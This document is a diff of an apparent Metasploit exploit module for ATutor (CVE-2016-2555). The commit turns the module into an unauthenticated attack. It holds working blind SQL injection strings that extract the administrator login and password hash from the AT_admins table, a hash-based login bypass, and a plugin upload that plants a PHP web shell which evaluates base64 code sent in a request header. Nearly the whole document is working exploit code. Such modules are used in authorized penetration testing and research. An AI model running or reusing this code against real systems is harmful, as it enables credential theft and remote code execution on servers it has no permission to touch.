@@ -17,10 +17,7 @@ def initialize(info={})
17
17
'Description' => %q{
18
18
This module exploits a SQL Injection vulnerability and an authentication weakness
19
19
vulnerability in ATutor. This essentially means an attacker can bypass authenication
20
- and reach the administrators interface where they can upload malcious code.
21
-
22
- You are required to login to the target to reach the SQL Injection, however this
23
- can be done as a student account and remote registration is enabled by default.
20
+ and reach the administrator's interface where they can upload malicious code.
24
21
} ,
25
22
'License' => MSF_LICENSE ,
26
23
'Author' =>
@@ -30,7 +27,8 @@ def initialize(info={})
30
27
'References' =>
31
28
[
32
29
[ 'CVE' , '2016-2555' ] ,
33
- [ 'URL' , 'http://www.atutor.ca/' ] # Official Website
30
+ [ 'URL' , 'http://www.atutor.ca/' ] , # Official Website
31
+ [ 'URL' , 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
34
32
] ,
35
33
'Privileged' => false ,
36
34
'Payload' =>
@@ -45,9 +43,7 @@ def initialize(info={})
45
43
46
44
register_options (
47
45
[
48
- OptString . new ( 'TARGETURI' , [ true , 'The path of Atutor' , '/ATutor/' ] ) ,
49
- OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' ] ) ,
50
- OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate with' ] )
46
+ OptString . new ( 'TARGETURI' , [ true , 'The path of Atutor' , '/ATutor/' ] )
51
47
] , self . class )
52
48
end
53
49
@@ -65,14 +61,7 @@ def print_good(msg='')
65
61
66
62
def check
67
63
# the only way to test if the target is vuln
68
- begin
69
- test_cookie = login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] , false )
70
- rescue Msf ::Exploit ::Failed => e
71
- vprint_error ( e . message )
72
- return Exploit ::CheckCode ::Unknown
73
- end
74
-
75
- if test_injection ( test_cookie )
64
+ if test_injection
76
65
return Exploit ::CheckCode ::Vulnerable
77
66
else
78
67
return Exploit ::CheckCode ::Safe
@@ -86,8 +75,8 @@ def create_zip_file
86
75
@plugin_name = Rex ::Text . rand_text_alpha_lower ( 3 )
87
76
88
77
path = "#{ @plugin_name } /#{ @payload_name } .php"
89
- register_file_for_cleanup ( " #{ @payload_name } .php" , "../../ content/module/ #{ path } " )
90
-
78
+ # this content path is where the ATutor authors recommended installing it
79
+ register_file_for_cleanup ( " #{ @payload_name } .php" , "/var/content/module/ #{ path } " )
91
80
zip_file . add_file ( path , "<?php eval(base64_decode($_SERVER['HTTP_#{ @header } '])); ?>" )
92
81
zip_file . pack
93
82
end
@@ -97,7 +86,7 @@ def exec_code
97
86
'method' => 'GET' ,
98
87
'uri' => normalize_uri ( target_uri . path , "mods" , @plugin_name , "#{ @payload_name } .php" ) ,
99
88
'raw_headers' => "#{ @header } : #{ Rex ::Text . encode_base64 ( payload . encoded ) } \r \n "
100
- } )
89
+ } , 0.1 )
101
90
end
102
91
103
92
def upload_shell ( cookie )
@@ -110,139 +99,91 @@ def upload_shell(cookie)
110
99
'method' => 'POST' ,
111
100
'data' => data ,
112
101
'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
113
- 'cookie' => cookie ,
114
- 'agent' => 'Mozilla'
102
+ 'cookie' => cookie
115
103
} )
116
104
117
105
if res && res . code == 302 && res . redirection . to_s . include? ( "module_install_step_1.php?mod=#{ @plugin_name } " )
118
106
res = send_request_cgi ( {
119
107
'method' => 'GET' ,
120
108
'uri' => normalize_uri ( target_uri . path , "mods" , "_core" , "modules" , res . redirection ) ,
121
- 'cookie' => cookie ,
122
- 'agent' => 'Mozilla' ,
109
+ 'cookie' => cookie
123
110
} )
124
111
if res && res . code == 302 && res . redirection . to_s . include? ( "module_install_step_2.php?mod=#{ @plugin_name } " )
125
112
res = send_request_cgi ( {
126
113
'method' => 'GET' ,
127
114
'uri' => normalize_uri ( target_uri . path , "mods" , "_core" , "modules" , "module_install_step_2.php?mod=#{ @plugin_name } " ) ,
128
- 'cookie' => cookie ,
129
- 'agent' => 'Mozilla' ,
115
+ 'cookie' => cookie
130
116
} )
131
117
return true
132
118
end
133
119
end
134
-
135
- # auth failed if we land here, bail
120
+ # unknown failure...
136
121
fail_with ( Failure ::Unknown , "Unable to upload php code" )
137
122
return false
138
123
end
139
124
140
- def get_hashed_password ( token , password , bypass )
141
- if bypass
142
- return Rex ::Text . sha1 ( password + token )
143
- else
144
- return Rex ::Text . sha1 ( Rex ::Text . sha1 ( password ) + token )
145
- end
146
- end
147
-
148
- def login ( username , password , bypass )
149
- res = send_request_cgi ( {
150
- 'method' => 'GET' ,
151
- 'uri' => normalize_uri ( target_uri . path , "login.php" ) ,
152
- 'agent' => 'Mozilla' ,
153
- } )
154
-
155
- token = $1 if res . body =~ /\) \+ \" (.*)\" \) ;/
156
- cookie = "ATutorID=#{ $1} ;" if res . get_cookies =~ /; ATutorID=(.*); ATutorID=/
157
- if bypass
158
- password = get_hashed_password ( token , password , true )
159
- else
160
- password = get_hashed_password ( token , password , false )
161
- end
162
-
125
+ def login ( username , hash )
126
+ password = Rex ::Text . sha1 ( hash )
163
127
res = send_request_cgi ( {
164
128
'method' => 'POST' ,
165
129
'uri' => normalize_uri ( target_uri . path , "login.php" ) ,
166
130
'vars_post' => {
167
131
'form_password_hidden' => password ,
168
132
'form_login' => username ,
169
- 'submit' => 'Login'
133
+ 'submit' => 'Login' ,
134
+ 'token' => ''
170
135
} ,
171
- 'cookie' => cookie ,
172
- 'agent' => 'Mozilla'
173
136
} )
174
- cookie = "ATutorID=#{ $2} ;" if res . get_cookies =~ /(.*); ATutorID=(.*);/
175
-
176
- # this is what happens when no state is maintained by the http client
177
- if res && res . code == 302
178
- if res . redirection . to_s . include? ( 'bounce.php?course=0' )
179
- res = send_request_cgi ( {
180
- 'method' => 'GET' ,
181
- 'uri' => normalize_uri ( target_uri . path , res . redirection ) ,
182
- 'cookie' => cookie ,
183
- 'agent' => 'Mozilla'
184
- } )
185
- cookie = "ATutorID=#{ $1} ;" if res . get_cookies =~ /ATutorID=(.*);/
186
- if res && res . code == 302 && res . redirection . to_s . include? ( 'users/index.php' )
187
- res = send_request_cgi ( {
188
- 'method' => 'GET' ,
189
- 'uri' => normalize_uri ( target_uri . path , res . redirection ) ,
190
- 'cookie' => cookie ,
191
- 'agent' => 'Mozilla'
192
- } )
193
- cookie = "ATutorID=#{ $1} ;" if res . get_cookies =~ /ATutorID=(.*);/
194
- return cookie
195
- end
196
- else res . redirection . to_s . include? ( 'admin/index.php' )
197
- # if we made it here, we are admin
198
- return cookie
199
- end
137
+ # poor developer practices
138
+ cookie = "ATutorID=#{ $4} ;" if res . get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
139
+ if res && res . code == 302 && res . redirection . to_s . include? ( 'admin/index.php' )
140
+ # if we made it here, we are admin
141
+ report_cred ( user : username , password : hash )
142
+ return cookie
200
143
end
201
-
202
144
# auth failed if we land here, bail
203
145
fail_with ( Failure ::NoAccess , "Authentication failed with username #{ username } " )
204
146
return nil
205
147
end
206
148
207
- def perform_request ( sqli , cookie )
149
+ def perform_request ( sqli )
208
150
# the search requires a minimum of 3 chars
209
151
sqli = "#{ Rex ::Text . rand_text_alpha ( 3 ) } '/**/or/**/#{ sqli } /**/or/**/1='"
210
152
rand_key = Rex ::Text . rand_text_alpha ( 1 )
211
153
res = send_request_cgi ( {
212
154
'method' => 'POST' ,
213
- 'uri' => normalize_uri ( target_uri . path , "mods" , "_standard" , "social" , "connections .php" ) ,
155
+ 'uri' => normalize_uri ( target_uri . path , "mods" , "_standard" , "social" , "index_public .php" ) ,
214
156
'vars_post' => {
215
157
"search_friends_#{ rand_key } " => sqli ,
216
158
'rand_key' => rand_key ,
217
- 'search' => 'Search People '
159
+ 'search' => 'Search'
218
160
} ,
219
- 'cookie' => cookie ,
220
- 'agent' => 'Mozilla'
221
161
} )
222
162
return res . body
223
163
end
224
164
225
- def dump_the_hash ( cookie )
165
+ def dump_the_hash
226
166
extracted_hash = ""
227
167
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
228
- login_and_hash_length = generate_sql_and_test ( do_true = false , do_test = false , sql = sqli , cookie ) . to_i
168
+ login_and_hash_length = generate_sql_and_test ( do_true = false , do_test = false , sql = sqli ) . to_i
229
169
for i in 1 ..login_and_hash_length
230
170
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{ i } ,1))"
231
- asciival = generate_sql_and_test ( false , false , sqli , cookie )
171
+ asciival = generate_sql_and_test ( false , false , sqli )
232
172
if asciival >= 0
233
173
extracted_hash << asciival . chr
234
174
end
235
175
end
236
176
return extracted_hash . split ( ":" )
237
177
end
238
178
239
- def get_ascii_value ( sql , cookie )
179
+ # greetz to rsauron & the darkc0de crew!
180
+ def get_ascii_value ( sql )
240
181
lower = 0
241
182
upper = 126
242
183
while lower < upper
243
184
mid = ( lower + upper ) / 2
244
185
sqli = "#{ sql } >#{ mid } "
245
- result = perform_request ( sqli , cookie )
186
+ result = perform_request ( sqli )
246
187
if result =~ /There are \d + entries\. /
247
188
lower = mid + 1
248
189
else
@@ -253,35 +194,35 @@ def get_ascii_value(sql, cookie)
253
194
value = lower
254
195
else
255
196
sqli = "#{ sql } =#{ lower } "
256
- result = perform_request ( sqli , cookie )
197
+ result = perform_request ( sqli )
257
198
if result =~ /There are \d + entries\. /
258
199
value = lower
259
200
end
260
201
end
261
202
return value
262
203
end
263
204
264
- def generate_sql_and_test ( do_true = false , do_test = false , sql = nil , cookie )
205
+ def generate_sql_and_test ( do_true = false , do_test = false , sql = nil )
265
206
if do_test
266
207
if do_true
267
- result = perform_request ( "1=1" , cookie )
208
+ result = perform_request ( "1=1" )
268
209
if result =~ /There are \d + entries\. /
269
210
return true
270
211
end
271
212
else not do_true
272
- result = perform_request ( "1=2" , cookie )
213
+ result = perform_request ( "1=2" )
273
214
if not result =~ /There are \d + entries\. /
274
215
return true
275
216
end
276
217
end
277
218
elsif not do_test and sql
278
- return get_ascii_value ( sql , cookie )
219
+ return get_ascii_value ( sql )
279
220
end
280
221
end
281
222
282
- def test_injection ( cookie )
283
- if generate_sql_and_test ( do_true = true , do_test = true , sql = nil , cookie )
284
- if generate_sql_and_test ( do_true = false , do_test = true , sql = nil , cookie )
223
+ def test_injection
224
+ if generate_sql_and_test ( do_true = true , do_test = true , sql = nil )
225
+ if generate_sql_and_test ( do_true = false , do_test = true , sql = nil )
285
226
return true
286
227
end
287
228
end
@@ -303,6 +244,8 @@ def report_cred(opts)
303
244
private_data : opts [ :password ] ,
304
245
origin_type : :service ,
305
246
private_type : :password ,
247
+ private_type : :nonreplayable_hash ,
248
+ jtr_format : 'sha512' ,
306
249
username : opts [ :user ]
307
250
} . merge ( service_data )
308
251
@@ -316,24 +259,14 @@ def report_cred(opts)
316
259
end
317
260
318
261
def exploit
319
- student_cookie = login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] , false )
320
- print_status ( "Logged in as #{ datastore [ 'USERNAME' ] } , sending a few test injections..." )
321
- report_cred ( user : datastore [ 'USERNAME' ] , password : datastore [ 'PASSWORD' ] )
322
-
323
- print_status ( "Dumping username and password hash..." )
324
- # we got admin hash now
325
- credz = dump_the_hash ( student_cookie )
326
- print_good ( "Got the #{ credz [ 0 ] } hash: #{ credz [ 1 ] } !" )
262
+ print_status ( "Dumping the username and password hash..." )
263
+ credz = dump_the_hash
327
264
if credz
328
- admin_cookie = login ( credz [ 0 ] , credz [ 1 ] , true )
329
- print_status ( "Logged in as #{ credz [ 0 ] } , uploading shell..." )
330
- # install a plugin
265
+ print_good ( "Got the #{ credz [ 0 ] } 's hash: #{ credz [ 1 ] } !" )
266
+ admin_cookie = login ( credz [ 0 ] , credz [ 1 ] )
331
267
if upload_shell ( admin_cookie )
332
- print_good ( "Shell upload successful!" )
333
- # boom
334
268
exec_code
335
269
end
336
270
end
337
271
end
338
272
end
339
-
0 commit comments